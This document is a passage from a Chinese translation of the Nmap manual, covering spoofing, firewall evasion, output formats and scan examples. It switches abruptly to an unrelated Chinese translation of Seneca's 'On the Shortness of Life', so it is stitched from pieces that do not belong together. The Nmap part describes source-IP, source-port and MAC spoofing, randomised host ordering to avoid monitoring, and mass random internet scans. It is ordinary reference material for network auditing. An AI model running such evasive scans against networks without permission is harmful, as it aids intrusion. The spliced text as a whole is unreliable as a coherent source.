    在某些情况下,Nmap可能无法确定你的源地址(如果这样,Nmap会给出提示)。此时,使用-S选项并说明所需发送包的接口IP地址。

    这个标志的另一个用处是哄骗性的扫描,使得目标认为是另一个地址在进行扫描。可以想象某一个竞争对手在不断扫描某个公司!-e选项常在这种情况下使用,也可采用-P0选项。

    -e <interface> (使用指定的接口)

    告诉Nmap使用哪个接口发送和接收报文,Nmap可以进行自动检测,如果检测不出会给出提示。

    --source-port <portnumber>;-g <portnumber> (源端口哄骗)

    仅依赖于源端口号就信任数据流是一种常见的错误配置,这个问题非常好理解。例如一个管理员部署了一个新的防火墙,但招来了很多用户的不满,因为他们的应用停止工作了。可能是由于外部的UDP DNS服务器响应无法进入网络,而导致DNS的崩溃。FTP是另一个常见的例子,在FTP传输时,远程服务器尝试和内部应用建立连接以传输数据。

    对这些问题有安全解决方案,通常是应用级代理或协议分析防火墙模块。但也存在一些不安全的方案。注意到DNS响应来自于53端口,FTP连接来自于20端口,很多管理员会掉入一个陷阱,即允许来自于这些端口的数据进入网络。他们认为这些端口里不会有值得注意的攻击和漏洞利用。此外,管理员或许认为这是一个短期的措施,直至他们采取更安全的方案。但他们忽视了安全的升级。

    不仅仅是工作量过多的网络管理员掉入这种陷阱,很多产品本身也会有这类不安全的隐患,甚至是微软的产品。Windows 2000和Windows XP中包含的IPsec过滤器也包含了一些隐含规则,允许所有来自88端口(Kerberos)的TCP和UDP数据流。另一个常见的例子是Zone Alarm个人防火墙到2.1.25版本仍然允许源端口53(DNS)或67(DHCP)的UDP包进入。

    Nmap提供了-g--source-port选项(它们是等价的),用于利用上述弱点。只需要提供一个端口号,Nmap就可以从这些端口发送数据。为使特定的操作系统正常工作,Nmap必须使用不同的端口号。DNS请求会忽略--source-port选项,这是因为Nmap依靠系统库来处理。大部分TCP扫描,包括SYN扫描,可以完全支持这些选项,UDP扫描同样如此。

    --data-length <number> (发送报文时 附加随机数据)

    正常情况下,Nmap发送最少的报文,只含一个包头。因此TCP包通常是40字节,ICMP ECHO请求只有28字节。这个选项告诉Nmap在发送的报文上附加指定数量的随机字节。操作系统检测(-O)包不受影响,但大部分ping和端口扫描包受影响,这会使处理变慢,但对扫描的影响较小。

    --ttl <value> (设置IP time-to-live域)

    设置IPv4报文的time-to-live域为指定的值。

    --randomize-hosts (对目标主机的顺序随机排列)

    告诉Nmap在扫描主机前对每个组中的主机随机排列,最多可达8096个主机。这会使得扫描针对不同的网络监控系统来说变得不是很明显,特别是配合值较小的时间选项时更有效。如果需要对一个较大的组进行随机排列,需要增大nmap.h文件中PING-GROUP-SZ的值,并重新编译。另一种方法是使用列表扫描(-sL -n -oN <filename>),产生目标IP的列表,使用Perl脚本进行随机化,然后使用-iL提供给Nmap。

    --spoof-mac <mac address,prefix,or vendor name> (MAC地址哄骗)

    要求Nmap在发送原以太网帧时使用指定的MAC地址,这个选项隐含了--send-eth选项,以保证Nmap真正发送以太网包。MAC地址有几种格式。如果简单地使用字符串“0”,Nmap选择一个完全随机的MAC地址。如果给定的字符品是一个16进制偶数(使用:分隔),Nmap将使用这个MAC地址。如果是小于12的16进制数字,Nmap会随机填充剩下的6个字节。如果参数不是0或16进制字符串,Nmap将通过nmap-mac-prefixes查找厂商的名称(大小写区分),如果找到匹配,Nmap将使用厂商的OUI(3字节前缀),然后随机填充剩余的3个节字。正确的--spoof-mac参数有Apple001:02:03:04:05:06deadbeefcafe0020F2Cisco

    输出

    任何安全工具只有在输出结果时才是有价值的,如果没有通过组织和易于理解的方式来表达,复杂的测试和算法几乎没有意义。Nmap提供了一些方式供用户和其它软件使用,实际上,没有一种方式可以使所有人满意。因此Nmap提供了一些格式,包含了方便直接查看的交互方式和方便软件处理的XML格式。

    除了提供输出格式外,Nmap还提供了选项来控制输出的细节以及调试信息。输出内容可发送给标准输出或命名文件,可以追加或覆盖。输出文件还可被用于继续中断的扫描。

    Nmap提供5种不同的输出格式

    • interactive output:默认方式,发送给标准输出(stdout)
    • normal output:类似于interactive output,但显示较少的运行时间信息和告警信息,这是由于这些信息是在扫描完全结束后用于分析,而不是交互式的
    • XML output:最重要的输出类型,可被转换成HTML,对于程序处理非常方便,如用于Nmap图形用户接口或导入数据库
    • grepable output:在一行中包含目标主机最多的信息
    • sCRiPt KiDDi3 0utPUt:用于考虑自己的用户|<-r4d

    interactive output是默认方式,没有相应的命令行选项,其它四种格式选项使用相同的语法,采用一个参数,即存放结果的文件名,多种格式可同时使用,但一种格式只能使用一次。例如:在标准输出用于查看的同时,可将结果保存到XML文件用于程序分析,这时可以使用选项-oX myscan.xml -oN myscan.nmap。为便于描述的简化,本章使用类似于myscan.xml的简单文件名,建议采用更具有描述性的文件名。文件名的选择与个人喜好有关,建议增加扫描日期以及一到两个单词来描述,并放置于一个目录中。

    在将结果输出到文件的同时,Nmap仍将结果发送给标准输出。例如, 命令nmap -oX myscan.xml target将输出XML至myscan.xml,即使-oX没有指定其他选项,也会将交互式结果打印在stdout上。可以使用-字符作为选项来改变,这使得Nmap禁止交互式输出,而是将结果打印到所指定的标准输出流中。因此,命令nmap -oX - target只输出XML至标准输出stdout。严重错误仍然是输出到标准错误流stderr中。

    与其它Nmap参数不同,日志文件选项的空格(如-oX)和文件名或连字符是必需的。如果省略了标记,例如-oG--oXscan.xml,Nmap的向后兼容特点将建立标准格式的输出文件,相应的文件名为G-Xscan.xml

    Nmap还提供了控制扫描细节以及输出文件的添加或覆盖的选项,这些选项如下所述。

    Nmap输出格式

    -oN <filespec> (标准输出)

    要求将标准输出直接写入指定的文件。如上所述,这个格式与交互式输出略有不同。

    -oX <filespec> (XML输出)

    要求XML输出直接写入指定的文件。Nmap包含了一个文档类型定义(DTD),使XML解析器有效地进行XML输出。这主要是为了程序应用,同时也可以协助人工解释Nmap的XML输出。DTD定义了合法的格式元素,列举可使用的属性和值。最新的版本可在nmap.dtd获取。

    XML提供了可供软件解析的稳定格式输出,主要的计算机语言都提供了免费的XML解析器,如C/C++,Perl,Python和Java。针对这些语言有一些捆绑代码用于处理Nmap的输出和特定的执行程序。例如perlCPAN中的Nmap::ScannerNmap::Parser。对几乎所有与Nmap有接口的主要应用来说,XML是首选的格式。

    XML输出引用了一个XSL样式表,用于格式化输出结果,类似于HTML。最方便的方法是将XML输出加载到一个Web浏览器,如Firefox或IE。由于nmap.xsl文件的绝对路径,因此通常只能在运行了Nmap的机器上工作(或类似配置的机器)。类似于任何支持Web机器的HTML文件,--stylesheet选项可用于建立可移植的XML文件。

    -oS <filespec> (ScRipT KIdd|3 oUTpuT)

    脚本小子输出类似于交互工具输出,这是一个事后处理,适合于’l33t HaXXorZ,由于原来全都是大写的Nmap输出。这个选项和脚本小子开了玩笑,看上去似乎是为了“帮助他们”。

    -oG <filespec> (Grep输出)

    这种方式最后介绍,因为不建议使用。XML输格式很强大,便于有经验的用户使用。XML是一种标准,由许多解析器构成,而Grep输届更简化。XML是可扩展的,以支持新发布的Nmap特点。使用Grep输出的目的是忽略这些特点,因为没有足够的空间。

    然面,Grep输出仍然很常使用。它是一种简单格式,每行一个主机,可以通过UNIX工具(如grep、awk、cut、sed、diff)和Perl方便地查找和分解。常可用于在命令行上进行一次性测式。查找ssh端口打开或运行Sloaris的主机,只需要一个简单的grep主机说明,使用通道并通过awk或cut命令打印所需的域。

    Grep输出可以包含注释(每行由#号开始)。每行由6个标记的域组成,由制表符及冒号分隔。这些域有主机端口协议忽略状态操作系统序列号IPID状态

    这些域中最重要的是Ports,它提供了所关注的端口的细节,端口项由逗号分隔。每个端口项代表一个所关注的端口,每个子域由/分隔。这些子域有:端口号状态协议拥有者服务SunRPCinfo版本信息

    对于XML输出,本手册无法列举所有的格式,有关Nmap Grep输出的更详细信息可查阅http://www.unspecific.com/nmap-oG-output

    -oA <basename> (输出至所有格式)

    为使用方便,利用-oA<basename>选项可将扫描结果以标准格式、XML格式和Grep格式一次性输出。分别存放在<basename>.nmap,<basename>.xml和<basename>.gnmap文件中。也可以在文件名前指定目录名,如在UNIX中,使用~/nmaplogs/foocorp/,在Window中,使用c:\hacking\sco on Windows。

    细节和调试选项

    -v (提高输出信息的详细度)

    通过提高详细度,Nmap可以输出扫描过程的更多信息。输出发现的打开端口,若Nmap认为扫描需要更多时间会显示估计的结束时间。这个选项使用两次,会提供更详细的信息。这个选项使用两次以上不起作用。

    大部分的变化仅影响交互式输出,也有一些影响标准和脚本小子输出。其它输出类型由机器处理,此时Nmap默认提供详细的信息,不需要人工干预。然而,其它模式也会有一些变化,省略一些细节可以减小输出大小。例如,Grep输出中的注释行提供所有扫描端口列表,但由于这些信息过长,因此只能在细节模式中输出。

    -d [level] (提高或设置调试级别)

    当详细模式也不能为用户提供足够的数据时,使用调试可以得到更多的信息。使用细节选项(-v)时,可启用命令行参数(-d),多次使用可提高调试级别。也可在-d后面使用参数设置调试级别。例如,-d9设定级别9。这是最高的级别,将会产生上千行的输出,除非只对很少的端口和目标进行简单扫描。

    如果Nmap因为Bug而挂起或者对Nmap的工作及原理有疑问,调试输出非常有效。主要是开发人员用这个选项,调试行不具备自我解释的特点。例如,Timeoutvals: srtt: -1 rttvar: -1 to: 1000000 delta 14987 ==> srtt: 14987 rttvar: 14987 to: 100000。如果对某行输出不明白,可以忽略、查看源代码或向开发列表(nmap-dev)求助。有些输出行会有自我解释的特点,但随着调试级别的升高,会越来越含糊。

    --packet-trace (跟踪发送和接收的报文)

    要求Nmap打印发送和接收的每个报文的摘要,通常用于调试,有助于新用户更好地理解Nmap的真正工作。为避免输出过多的行,可以限制扫描的端口数,如-p20-30。如果只需进行版本检测,使用--version-trace

    --iflist (列举接口和路由)

    输出Nmap检测到的接口列表和系统路由,用于调试路由问题或设备描述失误(如Nmap把PPP连接当作以太网对待)。

    其它输出选项

    --append-output (在输出文件中添加)

    当使用文件作为输出格式,如-oX-oN,默认该文件被覆盖。如果希望文件保留现有内容,将结果添加在现有文件后面,使用--append-output选项。所有指定的输出文件都被添加。但对于XML(-oX)扫描输出文件无效,无法正常解析,需要手工修改。

    --resume <filename> (继续中断的扫描)

    一些扩展的Nmap运行需要很长的时间–以天计算,这类扫描往往不会结束。可以进行一些限制,禁止Nmap在工作时间运行,导致网络中断、运行Nmap的主机计划或非计划地重启、或者Nmap自己中断。运行Nmap的管理员可以因其它原因取消运行,按下ctrl-C即可。从头开始启动扫描可能令人不快,幸运的是,如果标准扫描(-oN)或Grep扫描(-oG)日志被保留,用户可以要求Nmap恢复终止的扫描,只需要简单地使用选项--resume并说明标准/Grep扫描输出文件,不允许使用其它参数,Nmap会解析输出文件并使用原来的格式输出。使用方式如nmap –resume <logfilename>。Nmap将把新地结果添加到文件中,这种方式不支持XML输出格式,原因是将两次运行结果合并至一个XML文件比较困难。

    --stylesheet <path or URL> (设置XSL样式表,转换XML输出)

    Nmap提从了XSL样式表nmap.xsl,用于查看或转换XML输出至HTML。XML输出包含了一个xml-stylesheet,直接指向nmap.xml文件,该文件由Nmap安装(或位于Windows当前工作目录)。在Web浏览器中打开Nmap的XML输出时,将会在文件系统中寻找nmap.xsl文件,并使用它输出结果。如果希望使用不同的样式表,将它作为--stylesheet的参数,必段指明完整的路径或URL,常见的调用方式是--stylesheet https://nmap.org/data/nmap.xsl。这告诉浏览器从Insecire.Org中加载最新的样式表。这使得没安装Nmap(和nmap.xsl)的机器中可以方便地查看结果。因此,URL更方便使用,本地文件系统的nmap.xsl用于默认方式。

    --no-stylesheet (忽略XML声明的XSL样式表)

    使用该选项禁止Nmap的XML输出关联任何XSL样式表。xml-stylesheet指示被忽略。

    其它选项

    本节描述一些重要的(和并不重要)的选项,这些选项不适合其它任何地方。

    -6 (启用IPv6扫描)

    从2002年起,Nmap提供对IPv6的一些主要特征的支持。ping扫描(TCP-only)、连接扫描以及版本检测都支持IPv6。除增加-6选项外,其它命令语法相同。当然,必须使用IPv6地址来替换主机名,如3ffe:7501:4819:2000:210:f3ff:fe03:14d0。除“所关注的端口”行的地址部分为IPv6地址。

    IPv6目前未在全球广泛采用,目前在一些国家(亚洲)应用较多,一些高级操作系统支持IPv6。使用Nmap的IPv6功能,扫描的源和目的都需要配置IPv6。如果ISP(大部分)不分配IPv6地址,Nmap可以采用免费的隧道代理。一种较好的选择是BT Exact,位于https://tb.ipv6.btexact.com/。此外,还有Hurricane Electric,位于http://ipv6tb.he.net/。6to4隧道是另一种常用的免费方法。

    -A (激烈扫描模式选项)

    这个选项启用额外的高级和高强度选项,目前还未确定代表的内容。目前,这个选项启用了操作系统检测(-O)和版本扫描(-sV),以后会增加更多的功能。目的是启用一个全面的扫描选项集合,不需要用户记忆大量的选项。这个选项仅仅启用功能,不包含用于可能所需要的时间选项(如-T4)或细节选项(-v)。

    --datadir <directoryname> (说明用户Nmap数据文件位置)

    Nmap在运行时从文件中获得特殊的数据,这些文件有nmap-service-probesnmap-servicesnmap-protocolsnmap-rpcnmap-mac-prefixesnmap-os-fingerprints。Nmap首先在--datadir选项说明的目录中查找这些文件。未找到的文件,将在BMAPDIR环境变量说明的目录中查找。接下来是用于真正和有效UID的~/.nmap或Nmap可执行代码的位置(仅Win32);然后是是编译位置,如/usr/local/share/nmap/usr/share/nmap。Nmap查找的最后一个位置是当前目录。

    --send-eth (使用原以太网帧发送)

    要求Nmap在以太网(数据链路)层而不是IP(网络层)发送报文。默认方式下,Nmap选择最适合其运行平台的方式,原套接字(IP层)是UNIX主机最有效的方式,而以太网帧最适合Windows操作系统,因为Microsoft禁用了原套接字支持。在UNIX中,如果没有其它选择(如无以太网连接),不管是否有该选项,Nmap都使用原IP包。

    --send-ip (在原IP层发送)

    要求Nmap通过原IP套接字发送报文,而不是低层的以太网帧。这是--send-eth选项的补充。

    --privileged (假定用户具有全部权限)

    告诉Nmap假定其具有足够的权限进行源套接字包发送、报文捕获和类似UNIX系统中根用户操作的权限。默认状态下,如果由getuid()请求的类似操作不为0,Nmap将退出。--privileged在具有Linux内核性能的类似系统中使用非常有效,这些系统配置允许非特权用户可以进行原报文扫描。需要明确的是,在其它选项之前使用这些需要权限的选项(SYN扫描、操作系统检测等)。Nmap-PRIVILEGED变量设置等价于--privileged选项。

    -V; --version (打印版本信息)

    打印Nmap版本号并退出。

    -h; --help (打印帮助摘要面)

    打印一个短的帮助屏幕,列出大部分常用的命令选项,这个功能与不带参数运行Nmap是相同的。

    运行时的交互

    Nmap目前还不具有这个功能,本节内容可能会增加或删除。

    在执行Nmap时,所有的键盘敲击都被记录。这使得用户可以与程序交互而不需要终止或重启。特定的键可改变选项,其它键会输出一个有关扫描的状态消息。约定如下,小写字母增加打印量,大写字母减少打印量。

    v / V

    增加 / 减少细节

    d / D

    提高 / 降低调试级别

    p / P

    打开 / 关闭报文跟踪

    其它

    打印的信息类似于:

    Stats: 0:00:08 elapsed; 111 hosts completed (5 up), 5 undergoing Service Scan

    Service scan Timing: About 28.00% done; ETC: 16:18 (0:00:15 remaining)

    实例

    下面给出一些实例,简单的、复杂的到深奥的。为更具体,一些例子使用了实际的IP地址和域名。在这些位置,可以使用你自己网络的地址/域名替换。注意,扫描其它网络不一定合法,一些网络管理员不愿看到未申请过的扫描,会产生报怨。因此,先获得允许是最好的办法。

    如果是为了测试,scanme.nmap.org允许被扫描。但仅允许使用Nmap扫描并禁止测试漏洞或进行DoS攻击。为保证带宽,对该主机的扫描每天不要超过12次。如果这个免费扫描服务被滥用,系统将崩溃而且Nmap将报告解析指定的主机名/IP地址失败:scanme.nmap.org。这些免费扫描要求也适用于scanme2.nmap.orgscanme3.nmap.org等等,虽然这些主机目前还不存在。

    nmap -v scanme.nmap.org

    这个选项扫描主机scanme.nmap.org中所有的保留TCP端口。选项-v启用细节模式。

    nmap -sS -O scanme.nmap.org/24

    进行秘密SYN扫描,对象为主机Saznme所在的“C类”网段的255台主机。同时尝试确定每台工作主机的操作系统类型。因为进行SYN扫描和操作系统检测,这个扫描需要有根权限。

    nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127

    进行主机列举和TCP扫描,对象为B类188.116网段中255个8位子网。这个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开,将使用版本检测来确定哪种应用在运行。

    nmap -v -iR 100000 -P0 -p 80

    随机选择100000台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间,而且只需探测主机的一个端口,因此使用-P0禁止对主机列表。

    nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20

    扫描4096个IP地址,查找Web服务器(不ping),将结果以Grep和XML格式保存。

    host -l company.com | cut -d -f 4 | nmap -v -iL -

    进行DNS区域传输,以发现company.com中的主机,然后将IP地址提供给Nmap。上述命令用于GNU/Linux–其它系统进行区域传输时有不同的命令。

  • 论人生之短暂 – 塞内卡Seneca

    论人生之短暂 – 塞内卡Seneca

      保利努斯啊,很多人都抱怨大自然吝啬,因为她赋予我们的生命太过短暂。时间总是飞驰而过,绝大多数人还没有准备好去拥抱它,生命就已经走到了尽头。于是,他们把时间的流逝视为世间最大的罪恶——并非只有凡夫俗子和不爱思考的芸芸众生才有这种不满,即便是功成名就的杰出人士,也会为此抱怨。因此,伟大的医学之父会说:

    人生苦短,艺术不朽。

    连亚里士多德这样的智者,都不顾身份地表达过对时间流逝的不满。在亚里士多德看来,自然赋予了动物更长的生命,让它们拥有五倍甚至十倍于人类的寿命;与此同时,肩负着更神圣、更广阔使命的人类,生命却短暂很多,这是不公平的。然而事实是,生命并非短暂,而是我们荒废了太多,如能善加利用,人就有足够多的时间创造丰功伟绩。但是,如果将时间浪费在漫不经心的奢靡和毫无意义的活动上,那么,恐怕只有在死亡降临时,我们才会意识到它早已在不经意间溜走了。因此,

    生命并非短暂,而是我们把它变得短暂。自然并非吝啬,而是我们浪费了太多。

    这就好像落入败家子手中的巨额财富,可以被顷刻之间挥霍殆尽。但如果托付给理性的管理者,即便只是微薄的资产,也一定会逐渐增长。生命也同理,管理得当,就会得到充分的延长。

      事实上,我们有什么好抱怨自然的呢?她已足够善良。懂得如何利用,你的生命就会变得充裕。但看世间这些凡夫俗子:有人成了贪欲的奴隶;有人被无用的工作默默消耗;有人在酒精中麻醉沉迷;有人在庸碌懒散中虚度生命;有人为政治野心疲惫不堪,每天看别人的眼色行事;有人被贪欲驱使,为了金钱四处奔波;有人穷兵黩武,要么热衷发动战争,要么在被攻击的担忧中惶惶不安;有人选择花费时间去侍奉大人物,却又被大人物不懂感恩的态度折磨得身心疲惫;很多人不是觊觎别人的金钱,就是抱怨自己的财产;很多人没有明确的目标,在反复无常和随波逐流的浮躁中不知满足;很多人没有人生追求,就在他们懒洋洋打着哈欠时,死神悄悄地就将他们带走了——这些情形都太过常见,以至于我不得不认同那位伟大诗人的名言:

    我们真正活过的只是一小部分生命而已。

    的确,剩下的都不能算生命,最多只能算是时间。罪恶从四面八方涌来,对人们展开猛烈的攻击,让他们没法看清真相,迷失在自己的欲望中,无法找回真正的自我。即便能偶然收获一丝平静,但这就像深海中的波浪在风停息后也不会真正消失一样,他们依然会在内心深处辗转反侧,欲望让他们远离了真正的安宁。你以为我只是在说那些公认的坏人吗?看看那些让众人羡慕的幸运儿吧:来自上天的恩惠让他们喘不过气。多少人为财富所累!多少人为了炫耀才华,整日处心积虑,滔滔不绝!多少人终日纵欲,憔悴枯槁!多少人被门客包围,自由全无!总而言之,无论是平民百姓还是达官显贵,只要略加观察就会发现:一些人在寻求法律援助,另一些人在提供相应的帮助;一些人在接受审判,另一些人在为他们辩护,还有一些人要负责审判。没有人关注自身的需求,大家都在为别人的利益而活。看看那些所谓的名人,你会发现他们有一个明显的标志,那就是,甲的生命是为乙而存在的,乙的时间又奉献给了丙——没有人在意自己。还有人常常会表露出一种非常愚蠢的愤怒:他们抱怨大人物的冷漠,因为大人物没有时间给到他们想要的关注。可是,如果你连留给自己的时间都没有,又有什么理由去抱怨别人的傲慢呢?当然,无论你是谁,偶尔还是可能被大人物关注到的。他们即使看起来居高临下,有时也会听你说话,或是允许你同行。可你从来都不会赏脸看看自己,聆听自己的内心。因此,你没有理由要求任何人的关注,因为你看起来并不是缺少他人的陪伴,而是无法忍受自己的陪伴。

      即便世间最优秀的智者愿意聚在一起思考这个问题,他们恐怕也无法精准地描述对人类满脑子糨糊的惊讶。人们不允许他人觊觎自己的土地,不惜动用武力去解决微小的边界纠纷,但却允许他人剥夺自己的生活——不可思议,他们甚至会主动邀请他人来掌控自己的人生;人们不愿意分享自己的金钱,却能让别人来瓜分自己的生命;人们吝惜个人财产,但对挥霍时间却毫不在乎,即使时间才是唯一值得珍惜的财富。我特别想抓住一个老年人对他说:“现在你已经走到了生命的尽头。你活了快一百年了,没准更多。那么,不妨来盘点一下你的人生吧。想想你有多少时间给了放债人,又有多少给了情妇、资助人或是门客。再想想那些因为和妻子吵架、惩罚奴隶以及为了所谓的社会责任不得不四处奔波而浪费的时间。当然,还有那些因为不注意身体而被疾病占用的时间和那些被庸庸碌碌浪费的时间。把这些都算上,你会发现,真正用于生活的时间少得可怜。再想想你何时有过明确的目标,何时按计划安排了自己的生活,何时随着自己的心意活过,何时可以不掩饰真性情,何时思想不受干扰,这漫长的一生又真正做出了什么成就。想想多少人剥削过你的时间,而你却对此一无所知?那些无用的忧愁、无知的喜悦、贪婪的欲望和世俗的引诱——这些浪费了你多少生命?你真正留给自己的时间少之又少。意识到这一点,你就会明白,寿命虽长,人却早就死了。

      为什么会这样?因为你觉得自己会长生不老。你意识不到生命的脆弱,注意不到时间的流逝,于是你在时间永远充裕的错觉中将其白白浪费——而事实是,你为某个人或某件事浪费生命的那一天,很可能就是生命的最后一天。

    面对恐惧,你知道自己终有一死;面对欲望,又觉得自己能长生不老。

    你经常会听到人们说:“到了五十岁我就开始过悠闲的生活,六十岁便会放弃一切公职。”可是,你凭什么保证自己能活到那一天?你以为凡事都会按你的心意运转吗?你难道不觉得惭愧吗,只把余下的残羹冷炙的时间留给自己,把那些不能再用于他处的时间用来思考人生?生命终结时才想要开始真正地生活,这未免也太晚了。忘记人必有一死,把合理的计划推迟到五六十岁,这是多么愚蠢啊!你以为那个时候就可以真正生活了,却忘了很少有人能活到那个时候!

      仔细观察你会发现,不少位高权重的人都爱在言语中表达对闲暇的渴望和赞美,仿佛这才是最大的福气。很多时候,他们都希望从高位全身而退。毕竟,即便没有外界的攻击或动荡,好运有时也会在一夜间灰飞烟灭。

      被奉若神明的奥古斯都大帝,无疑是命运的宠儿。有生之年,他从未停止过对闲暇的渴望,试图从繁重的公务中寻找片刻安宁。他不管说什么,最后都会回到同一个主题,那就是对悠闲生活的期待。总有一天他要为自己而活——他喜欢用这一虚假却甜蜜的幻想自我宽慰,这样就能心甘情愿地劳碌。在一封致元老院的信中,他承诺自己的退休生活不会丧失尊严,或是和此前的辉煌成就有落差。在信中他写道:“当然,实现这些目标远比承诺更重要。但鉴于美好的现实还很遥远,我倒可以在描述这种未来的过程中感到满足。”可见,闲暇对奥古斯都大帝来说太珍贵了,以至于他无法在现实生活中感受它,只能在想象中获得安慰。这位有权掌控一切、能够决定国家和百姓命运的伟人,他最幸福的时刻,却是想象自己能在未来某个时候放弃这些权力。他经历过,因此明白,那些闪耀在每寸土地上的荣耀,倾注了他多少汗水,又隐藏了多少焦虑。为了拥有这一切,他不得不和同胞征战,和同僚斗争,最后向自己的亲人宣战,一时间血流成河。

      他常年征战于马其顿、西西里、埃及、叙利亚以及当时所有人们听说过的国家——是的,血洗罗马后,他又开始向国外宣战。当他在阿尔卑斯地区重建和平、击退帝国中部的敌人时,当他把疆土扩展到莱茵河、幼发拉底河和多瑙河一带时,穆列纳、凯皮奥、雷必达和埃格纳提乌斯等人却在罗马本土蠢蠢欲动,试图推翻他的统治;他尚未挫败这些人的阴谋,他的女儿和那些因通奸而发誓效忠于她的贵族青年,以及埃乌勒斯和那个与安东尼联手的第二个可怕的女人,还要让他在风烛残年依旧惶恐不安。日复一日,他将身边的毒瘤一一切除,但新敌人总会源源不断地出现,就好像充血的躯体,鲜血总能找到地方喷涌而出。因此,他渴望闲暇。想到这一点,他就多少能从繁重的劳碌中解脱片刻。这位能够满足世人心愿的伟人,他的所求不过如此。

      当马库斯·西塞罗被卷在喀提林、克洛迪乌斯、庞培和克拉苏——他们有些是公开的敌人,有些是靠不住的朋友——之间时,当他在席卷全国的动荡中不得安宁时,虽然整个国家已难逃没落,西塞罗还是试图拯救其于危难之中,最终却仍在这场暴风雨中陨落。国家繁荣稳定时,他没能获得安逸;国家危机四伏时,他没能保持耐心。他多次诅咒执政官的职位,可与此同时,又对它大加赞美——这些赞美也不无道理。当庞培被打败,其子在西班牙试图挽回局面时,西塞罗曾致信阿提库斯。他在信中写道:“知道我在干什么吗?我正在图斯库兰别墅里过着半囚禁的生活。”他哀叹过去的生活,抱怨当下的状况,对未来充满了绝望。西塞罗将自己的生活比作“半囚禁”,但说实话,作为一位智者,他不应该使用这样凄惨的字眼。他明明可以打破这种状态,去享受真实彻底的自由,做自己命运的主宰,过上比一般人更精彩的生活。毕竟,对于这样的天之骄子而言,有什么是他做不了的呢?

      我没有必要再举这类人的例子了——虽然能过上超越凡人的幸福生活,他们却厌恶自己的人生。可惜,抱怨归抱怨,他们并没有因此改善自己或他人的生活,总是在发发牢骚后又回归到过去的状态中。

      可以肯定的是,即便人类能拥有长达千年的寿命,他们真正拥有的时间依然很少。恶习总能吞噬时间。那些本应拥有的、虽转瞬即逝但可以通过理性加以延长的时间,依旧会不可避免地流逝。人们从不努力将其把握,或是试图延迟她的流逝速度。相反,他们把她视为用之不尽的可替换资源,一而再再而三地浪费。

      在我看来,其中最令人不齿的还要属终日沉湎于酒色的人——这无疑是对时间最糟糕的浪费。沉浸在对荣耀的幻想中虽然虚妄,但多少还有值得尊敬的成分。那些热衷发动战争、有着偏执仇恨的狂热分子固然有罪,但至少还有那么点男子气,而只知道贪食好色的人却失败得毫无尊严。看看这类人是如何打发时间的——他们把时间浪费在记账上,浪费在欺骗别人和担心被别人欺骗上,浪费在向别人献殷勤和被别人奉承上,浪费在支付和收取保释金上,浪费在无止境的晚宴(现在已经被视为公务活动)上。总之,你会发现,这些活动,无论好坏,都已经让他们忙碌得无从喘息。

      人们普遍认为,过分沉迷于某件事,反而很难取得真正意义上的成功,因为这样会对其他事情心不在焉,无法将其深入吸收。大脑会不自觉地排斥试图强行植入的信息。当然,沉迷于修辞学和通识教育除外。对沉迷于某项活动的人来说,生活最不重要,虽然没有什么比生活更难学。无论在哪个领域,人们都可以找到诸多老师。事实上,有些孩子都能精准透彻地掌握某一学科,有能力充当老师的角色。但学会如何生活却要花费一生的时间,学习如何面对死亡也同理——对此你或许会有点吃惊。这也是为什么那么多优秀的人会放弃金钱、事业和享乐这些身外之物,全身心研究如何生活。即便如此,很多人临终时还认为自己没有学到生命的真谛——智者尚且如此,更不用提芸芸众生了。相信我,如果一个人能确保不浪费时间,那他毫无疑问是伟大、超越人类局限的智者。他将所有可支配的时间都留给了自己,做到这一点才能算真正的长寿。他不浪费任何转瞬即逝的时刻,也不允许别人霸占自己的时间。作为时间小心翼翼的守护者,在他看来,世间一切都不值得用时间交换,他也因此拥有了足够多的时间。相比之下,允许他人掌控自己生活的人,显然不会有太多时间。

      这并不是说这些人意识不到自己的损失。事实上,不少拥有巨大财富或权力的人,都常把命运的眷顾视为负担。每当他们被客户团团围住、在法庭上义正词严,或是在履行其他痛苦的荣耀职责时,你就会听到他们的抱怨:“我都没有自己的生活!”他们当然不可能有自己的生活。那些有所求的人,总能将你从自己身边拖走。想想看,那个被告偷走了你多少时间?那个候选人偷走了你多少时间?那个为继承人送葬后精疲力竭的老太太又偷走了你多少时间?还有那个假装生病,只为挑起遗产受益人贪欲的男人?那个同你结交不是为了友谊,而是为了炫耀的名流朋友?把这些统统考虑进去,再来盘点生活,你就会发现留给自己的时间太少了,只剩下一些无用的零碎时间。一个人刚得到渴望已久的官职,又开始向往无官一身轻的生活,不停嚷嚷:“日子何时才能到头?”一个人认为组织比赛很了不起,可一旦目标达成,他又开始抱怨:“何时能摆脱这些工作!”演讲者在集会上被人山人海地包围,连声音到达不了的地方都挤满了民众,但他却说:“我什么时候才能有假期?”每个人都带着对未来生活的渴望和对当下生活的厌倦奔波忙碌着。但智者会将时间花费在自身需求上,将每天都过成最后一天。他们不渴望也不恐惧未来,毕竟,未来已不能给他们带来新的乐趣了。他们尝试、享受过了一切,剩下的就安心交由命运处置。他们的生活充满了安全感。没有什么能被夺走,无论命运作何安排,在他们看来都只是锦上添花,就好像赐给酒足饭饱的人更多的美味佳肴,虽不需要但也可以接受。因此,

    你不能仅凭一个人的白发和皱纹就认为他活了很久:他或许长寿,但并不一定能算活得久。

    这就好比长途旅行的人刚离开港口就遭遇了暴风雨,虽然被狂风吹得团团转,好像奔波了很久,但其实只不过是在原地打转罢了。

      人们经常占用他人的时间,但让我震惊的是,被占用时间的人也总能欣然接受。双方可以在占用时间的理由上达成共识,却很少关注时间本身,仿佛付出时间不算付出一样。明明是在挥霍世间最珍贵的商品,却因为看不见摸不着、难以评估,人们就觉得时间廉价甚至根本没有任何价值。作为对劳动、付出或服务的回报,人们更乐于接受养老金和报酬。因为计算不出时间的价值,他们就像不花钱一样大肆挥霍。但如果死亡突然来临,他们又会向医生祈求长寿;如果要面对死刑的处罚,他们又会不惜一切去保全性命。他们对待时间的态度如此前后矛盾。假设人们能像计算过往的时间一样,统计出人生余下的寿命,那些年数不多的人就会惊慌、警觉,必将小心翼翼地使用时间。遗憾的是,即便微小,人们也更愿意管理确切的数目,却忽略了时间这样不知何时就会戛然而止的东西。

